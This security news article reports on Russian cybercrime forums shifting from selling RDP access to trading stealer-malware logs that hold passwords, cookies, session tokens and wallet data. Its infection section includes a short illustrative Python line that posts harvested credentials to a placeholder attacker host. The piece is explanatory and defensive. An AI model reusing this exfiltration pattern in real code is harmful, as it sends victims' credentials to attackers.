Russian Cybercrime Market Hub Transferring from RDP Access to Malware Stealer Logs to Access

A new evolution is underway in the Russian cybercrime ecosystem: market operators and threat actors are rapidly shifting from selling compromised Remote Desktop Protocol (RDP) access to trading malware stealer logs for unauthorized system entry.

This transition marks a significant change in both tactics and impact within the underground forums, affecting organizations and individuals worldwide.

Historically, RDP access sales dominated Russian cybercrime marketplaces, granting threat actors direct entry into corporate and government networks. However, the emergence of advanced stealer malware—such as RedLine, Raccoon, and Vidar—has transformed illicit trading.

Instead of selling static credentials, criminals now collect and broker “logs”: raw output from malware infections containing browser-saved passwords, cookies, autofill data, crypto wallet details, and session tokens.

These leaked logs allow opportunistic access to targeted environments, sometimes with greater reach and stealth than traditional RDP sales.

Rapid7 researchers observed this shift, highlighting how stealer-log packs frequently appear on prominent Russian forums—often bundled with automated scripts to facilitate credential extraction and exploitation.

This paradigm empowers attackers to bypass network-level controls and immediately impersonate victims in varied platforms, ramping up the risk for quick account takeover and data theft.

The scale and automation found within stealer log trading deeply challenges conventional security measures: as soon as the logs are posted, a wide array of criminals races to monetize or further weaponize the data.

Infection Mechanism

Modern stealer malware operates with remarkable efficiency. Once deployed—typically via phishing campaigns, poisoned software downloads, or malicious ads—the executable promptly scans for stored credentials, cookies, and wallets across browsers and desktop applications.

During its runtime, the stealer utilizes process injection and API calls (notably, accessing browser SQLite databases and reading credential stores).

A typical exfiltration code block includes:-

import requests
log_data = collect_credentials()
requests.post('http://malicious.ru/upload', data=log_data)

Persistence tactics are minimal—attackers focus on short-lived infection and swift extraction, sometimes removing the malware after log harvesting to evade detection.

By the time the compromised user’s security tools identify the stealer, credentials have often already been posted to forums, making account recovery difficult.

Cyber defenders must pivot toward real-time log monitoring, multi-factor authentication, and rapid incident response to counteract this versatile and scalable model embraced by Russian cybercriminals.
